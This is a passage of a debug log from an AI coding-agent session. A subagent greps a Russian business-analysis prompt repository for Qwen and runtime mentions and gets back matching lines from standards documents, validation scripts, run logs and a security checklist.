\"keep-alive\",\n[2026-09-29T07:46:08.651Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:08.655Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:08.661Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:08.665Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:08 GMT\",\n[2026-09-29T07:46:08.669Z] [STDOUT]     \"request-id\": \"req_011CfXMov6THYKxhmvXEvPvd\",\n[2026-09-29T07:46:08.673Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:08.675Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:08.683Z] [STDOUT]     traceresponse: \"00-98498e7ce51bc4f29b1d9519fbf761aa-bac173c54e2327a3-01\",\n[2026-09-29T07:46:08.688Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:08.692Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:08.695Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:08.700Z] [STDOUT]   },\n[2026-09-29T07:46:08.703Z] [STDOUT]   durationMs: 799,\n[2026-09-29T07:46:08.707Z] [STDOUT] }\n[2026-09-29T07:46:08.711Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:08.714Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:08 GMT\",\n[2026-09-29T07:46:08.717Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:08.723Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:08.727Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:08.730Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:08.733Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:08.739Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:08.746Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:08.760Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:08.767Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:08.772Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:08.794Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:08.800Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:08.807Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:08.819Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:08.827Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:08.832Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:08.837Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:08.843Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:08.846Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:08.849Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:08.852Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:08.855Z] [STDOUT]   \"request-id\": \"req_011CfXMov6THYKxhmvXEvPvd\",\n[2026-09-29T07:46:08.859Z] [STDOUT]   \"traceresponse\": \"00-98498e7ce51bc4f29b1d9519fbf761aa-bac173c54e2327a3-01\",\n[2026-09-29T07:46:08.865Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:08.871Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:08.876Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:08.883Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:08.892Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:08.911Z] [STDOUT]   \"cf-ray\": \"a4295f4dae6e29ad-FRA\",\n[2026-09-29T07:46:08.945Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:08.958Z] [STDOUT] [log_896a30] response parsed {\n[2026-09-29T07:46:08.967Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:08.987Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:08.994Z] [STDOUT]   body: X {\n[2026-09-29T07:46:08.997Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:08.999Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:09.002Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:09.006Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:09.010Z] [STDOUT]     },\n[2026-09-29T07:46:09.015Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:09.020Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:09.024Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:09.028Z] [STDOUT]   },\n[2026-09-29T07:46:09.030Z] [STDOUT]   durationMs: 801,\n[2026-09-29T07:46:09.034Z] [STDOUT] }\n[2026-09-29T07:46:09.135Z] [INFO] {\n[2026-09-29T07:46:09.135Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"message\": {\n[2026-09-29T07:46:09.135Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:09.135Z] [INFO]     \"id\": \"msg_011CfXMokfusPt6ntbaGWiC6\",\n[2026-09-29T07:46:09.135Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:09.135Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:09.135Z] [INFO]     \"content\": [\n[2026-09-29T07:46:09.135Z] [INFO]       {\n[2026-09-29T07:46:09.135Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:09.135Z] [INFO]         \"id\": \"toolu_01KBSaqhgDvkNYxs6EAGUG6X\",\n[2026-09-29T07:46:09.135Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:09.135Z] [INFO]         \"input\": {\n[2026-09-29T07:46:09.135Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && grep -rIn --exclude-dir=.git --exclude=*.json -E \\\"Qwen|\u0432\u0435\u0431-\u0447\u0430\u0442|web chat|\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0430\u0442\u0430|\u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441|\u0441\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f|runtime\\\" . | grep -v \\\"^./runs/.*/inputs/\\\" | cut -c1-280 | head -60\",\n[2026-09-29T07:46:09.135Z] [INFO]           \"description\": \"Find Qwen/runtime mentions\"\n[2026-09-29T07:46:09.135Z] [INFO]         },\n[2026-09-29T07:46:09.135Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:09.135Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:09.135Z] [INFO]         }\n[2026-09-29T07:46:09.135Z] [INFO]       }\n[2026-09-29T07:46:09.135Z] [INFO]     ],\n[2026-09-29T07:46:09.135Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:09.135Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:09.135Z] [INFO]       \"cache_creation_input_tokens\": 4805,\n[2026-09-29T07:46:09.135Z] [INFO]       \"cache_read_input_tokens\": 78532,\n[2026-09-29T07:46:09.135Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:09.135Z] [INFO]         \"ephemeral_5m_input_tokens\": 4805,\n[2026-09-29T07:46:09.135Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:09.135Z] [INFO]       },\n[2026-09-29T07:46:09.135Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:46:09.135Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:09.135Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:09.135Z] [INFO]     },\n[2026-09-29T07:46:09.135Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:09.135Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:09.135Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:09.135Z] [INFO]   },\n[2026-09-29T07:46:09.135Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"uuid\": \"d1511f8c-57b6-427a-ab8c-21fa03e19da0\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:09.122Z\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"request_id\": \"req_011CfXMokAuRxEHdiWc9DQbV\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:09.135Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:09.135Z] [INFO] }\n[2026-09-29T07:46:09.155Z] [INFO] {\n[2026-09-29T07:46:09.155Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"description\": \"Running Find Qwen/runtime mentions\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:09.155Z] [INFO]     \"total_tokens\": 84021,\n[2026-09-29T07:46:09.155Z] [INFO]     \"tool_uses\": 21,\n[2026-09-29T07:46:09.155Z] [INFO]     \"duration_ms\": 106843\n[2026-09-29T07:46:09.155Z] [INFO]   },\n[2026-09-29T07:46:09.155Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"uuid\": \"4ab3a1f2-db2f-4d5d-ac84-b77369e734a7\",\n[2026-09-29T07:46:09.155Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:09.155Z] [INFO] }\n[2026-09-29T07:46:10.648Z] [INFO] {\n[2026-09-29T07:46:10.648Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"message\": {\n[2026-09-29T07:46:10.648Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:10.648Z] [INFO]     \"id\": \"msg_011CfXMovbxP27QkvRKEz2in\",\n[2026-09-29T07:46:10.648Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:10.648Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:10.648Z] [INFO]     \"content\": [\n[2026-09-29T07:46:10.648Z] [INFO]       {\n[2026-09-29T07:46:10.648Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:10.648Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:10.648Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:46:10.648Z] [INFO]     ],\n[2026-09-29T07:46:10.648Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:10.648Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:10.648Z] [INFO]       \"cache_creation_input_tokens\": 2523,\n[2026-09-29T07:46:10.648Z] [INFO]       \"cache_read_input_tokens\": 84107,\n[2026-09-29T07:46:10.648Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:10.648Z] [INFO]         \"ephemeral_5m_input_tokens\": 2523,\n[2026-09-29T07:46:10.648Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:10.648Z] [INFO]       },\n[2026-09-29T07:46:10.648Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:10.648Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:10.648Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:10.648Z] [INFO]     },\n[2026-09-29T07:46:10.648Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:10.648Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:10.648Z] [INFO]   },\n[2026-09-29T07:46:10.648Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"uuid\": \"280c7eb3-95bf-4983-badb-4d4148eef996\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:10.643Z\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"request_id\": \"req_011CfXMov6THYKxhmvXEvPvd\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:10.648Z] [INFO] }\n[2026-09-29T07:46:10.766Z] [INFO] {\n[2026-09-29T07:46:10.766Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"message\": {\n[2026-09-29T07:46:10.766Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:10.766Z] [INFO]     \"content\": [\n[2026-09-29T07:46:10.766Z] [INFO]       {\n[2026-09-29T07:46:10.766Z] [INFO]         \"tool_use_id\": \"toolu_01KBSaqhgDvkNYxs6EAGUG6X\",\n[2026-09-29T07:46:10.766Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:10.766Z] [INFO]         \"content\": \"./standards/analysis-standard.md:81:| C. Product Spoke / Runtime | \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 `analysis-subtype` \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 Analysis \u2194 Audit \u043a \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u043c\u0443 / repo-state \u0440\u0430\u0437\u0431\u043e\u0440\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430; \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 runtime evidence, \u0430 \u043d\u0435 \u043f\u043e\u0433\u043b\u043e\\n./standards/research-standard.md:64:| C. Product Spoke / Runtime | \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 distinction research evidence vs operational run; runtime/pipeline outputs \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `runs/` \u0438\u043b\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c artifact storage. |\\n./standards/GLOSSARY.md:86:| Evidence-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 (Evidence container) | \u0415\u0434\u0438\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0439 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u044b `research//exp//` \u0441 \u043f\u043b\u043e\u0441\u043a\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 (\u0437\u0430\u043f\u0440\u0435\u0442 `outputs/`\\n./scripts/kb/runtime_snapshot.py:1:\\\"\\\"\\\"Read the immutable runtime KB snapshot used after issue #361 migration.\\n./scripts/kb/runtime_snapshot.py:3:The runtime checkout is fetched on demand outside this repository. Historical\\n./scripts/kb/runtime_snapshot.py:14:RUNTIME_REPOSITORY = \\\"https://github.com/G-Ivan-A/mango-ba-ai-runtime\\\"\\n./scripts/kb/runtime_snapshot.py:23:        root = Path(tempfile.gettempdir()) / \\\"mango-ba-runtime-kb\\\" / RUNTIME_COMMIT\\n./scripts/kb/runtime_snapshot.py:33:        raise RuntimeError(f\\\"runtime checkout must be {RUNTIME_COMMIT}, got {head}\\\")\\n./scripts/kb/runtime_snapshot.py:36:        raise RuntimeError(f\\\"runtime KB is missing: {kb}\\\")\\n./scripts/validate_issue_117_kb_traceability.py:24:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_111_kb_pipeline.py:34:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_310_kb_pdf_ingestion.py:33:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_363_run.py:11:4. \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 `[\u0414\u041e\u041a, \u00a7X \u00ab\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a\u00bb, \u0441.Y](url)` \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 runtime-\u0411\u0417\\n./scripts/validate_issue_363_run.py:12:   \u043d\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c commit; \u0435\u0441\u043b\u0438 runtime \u043d\u0430 \u044d\u0442\u043e\u043c commit \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\\n./scripts/validate_issue_363_run.py:32:BLOB = re.compile(r\\\"^https://github\\\\.com/G-Ivan-A/mango-ba-ai-runtime/blob/([0-9a-f]{40})/(docs/kb/.+\\\\.md)$\\\")\\n./scripts/validate_issue_363_run.py:51:def local_runtime(commit: str) -> Path | None:\\n./scripts/validate_issue_363_run.py:95:            errors.append(\\\"\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0435 \u043d\u0430 runtime-\u0411\u0417 \u0441 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c commit: %s\\\" % href)\\n./scripts/validate_issue_363_run.py:97:        runtime = local_runtime(match.group(1))\\n./scripts/validate_issue_363_run.py:98:        if runtime is None:\\n./scripts/validate_issue_363_run.py:100:        target = runtime / match.group(2)\\n./scripts/test_issue_361_kb_migration.py:11:RUNTIME = \\\"https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb\\\"\\n./scripts/test_issue_361_kb_migration.py:21:            errors.append(\\\"README does not link to the runtime KB\\\")\\n./scripts/test_issue_361_kb_migration.py:23:            errors.append(\\\"README does not pin the runtime commit\\\")\\n./scripts/validate_pagination_shift.py:17:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_351_run.py:21:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_115_kb_mango_pipeline.py:37:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_265_hub_sync.py:34:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_365_run.py:11:4. \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 `[\u0414\u041e\u041a, \u00a7X \u00ab\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a\u00bb, \u0441.Y](url)` \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 runtime-\u0411\u0417\\n./scripts/validate_issue_365_run.py:12:   \u043d\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c commit; \u0435\u0441\u043b\u0438 runtime \u043d\u0430 \u044d\u0442\u043e\u043c commit \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\\n./scripts/validate_issue_365_run.py:32:BLOB = re.compile(r\\\"^https://github\\\\.com/G-Ivan-A/mango-ba-ai-runtime/blob/([0-9a-f]{40})/(docs/kb/.+\\\\.md)$\\\")\\n./scripts/validate_issue_365_run.py:51:def local_runtime(commit: str) -> Path | None:\\n./scripts/validate_issue_365_run.py:95:            errors.append(\\\"\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0435 \u043d\u0430 runtime-\u0411\u0417 \u0441 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c commit: %s\\\" % href)\\n./scripts/validate_issue_365_run.py:97:        runtime = local_runtime(match.group(1))\\n./scripts/validate_issue_365_run.py:98:        if runtime is None:\\n./scripts/validate_issue_365_run.py:100:        target = runtime / match.group(2)\\n./kb/README.md:18:[`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n./kb/sources/README.md:22:[`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n./kb/processed/README.md:15:[`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n./kb/processed/README.md:18:\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0441\u043d\u0438\u043c\u043e\u043a runtime: [`ed42b3cd0eed2774c9b080232ca00484d9a4f7cd`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/ed42b3cd0eed2774c9b080232ca00484d9a4f7cd/docs/kb).\\n./kb/processed/README.md:24:\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 `docs/kb//\u2026` \u0432 runtime \u043f\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043a\u043e\u043c\u043c\u0438\u0442\u0443 \u0432\u044b\u0448\u0435.\\n./kb/USAGE.md:19:[`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n./kb/USAGE.md:21:\u0446\u0438\u0442\u0430\u0442\u044b \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\u0438. \u0417\u0430\u043c\u0435\u043d\u044f\u0439\u0442\u0435 \u043f\u0440\u0435\u0444\u0438\u043a\u0441 \u043d\u0430 `docs/kb/` \u0432 runtime;\\n./ai-governance/agent-security-checklist.md:63:| **LLM01:2025 Prompt Injection** | \u041d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 scope; Readback, fail-closed, human clearance; \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043e\u0442\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442 \u0434\u0430\u043d\u043d\u044b\u0445. | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\\n./ai-governance/agent-security-checklist.md:67:| **LLM05:2025 Improper Output Handling** | \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0438 diff; \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435/allowlist \u043f\u0435\u0440\u0435\u0434 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u0432\u044b\u0432\u043e\u0434\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c. | \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\ufffd\\n./ai-governance/agent-security-checklist.md:68:| **LLM06:2025 Excessive Agency** | \u0427\u0435\u043b\u043e\u0432\u0435\u043a > \u041a\u043e\u043c\u0430\u043d\u0434\u0430 Q > \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c; fail-closed; \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430; approval \u0432\u043d\u0435\u0448\u043d\u0438\u0445/\u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439. | \u0421\u0432\u0435\u0440\u0438\u0442\u044c \u0434\u0435\u0439\ufffd\\n./ai-governance/agent-security-checklist.md:69:| **LLM07:2025 System Prompt Leakage** | \u041e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433-\u043f\u0440\u043e\u043c\u043f\u0442 \u0425\u0430\u0431\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u0435\u043d by design \u0438 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432; \u0441\u043a\u0440\u044b\u0442\u044b\u0435 prompts/credentials \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u044f\u0442\u0441\u044f. | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\ufffd\\n./ai-governance/agent-security-checklist.md:72:| **LLM10:2025 Unbounded Consumption** | token budget, stop condition, \u043b\u0438\u043c\u0438\u0442\u044b \u0448\u0430\u0433\u043e\u0432/retries/cost \u0438 human review \u043f\u0440\u0435\u0432\u044b\u0448\u0435\u043d\u0438\u044f. | \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u043c\u0438\u0442 \u0438 \u043f\u0440\u0438\u0447\u0438\u043d\u0443 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f; \u043f\u0440\ufffd\\n./runs/2026/RUN-0028/logs/metrics.md:29:\u0447\u0435\u0440\u0435\u0437 `tiktoken:[REDACTED] (\u0447\u0443\u0436\u0430\u044f \u0434\u043b\u044f Qwen \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430), \u0437\u0434\u0435\u0441\u044c \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n./runs/2026/RUN-0014/logs/chat-transcript.md:85:## [2] \u0410\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442 (Qwen3.7-Plus)\\n./runs/2026/RUN-0014/logs/chat-transcript.md:123:## [4] \u0410\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442 (Qwen3.7-Plus)\\n./runs/2026/RUN-0014/logs/chat-transcript.md:153:## [6] \u0410\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442 (Qwen3.7-Plus)\\n./runs/2026/RUN-0014/logs/chat-transcript.md:226:## [8] \u0410\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442 (Qwen3.7-Plus)\\n./runs/2026/RUN-0014/logs/metrics.md:24:| \u041c\u043e\u0434\u0435\u043b\u044c | `qwen3.7-plus` (Qwen3.7-Plus, \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441) |\\n./runs/2026/RUN-0018/feedback/review-notes.md:69:\u041f\u0440\u043e\u0433\u043e\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f \u0432\u043e \u0432\u043d\u0435\u0448\u043d\u0435\u043c \u0447\u0430\u0442\u0435 (Qwen, `auto_search: true`) **\u0431\u0435\u0437 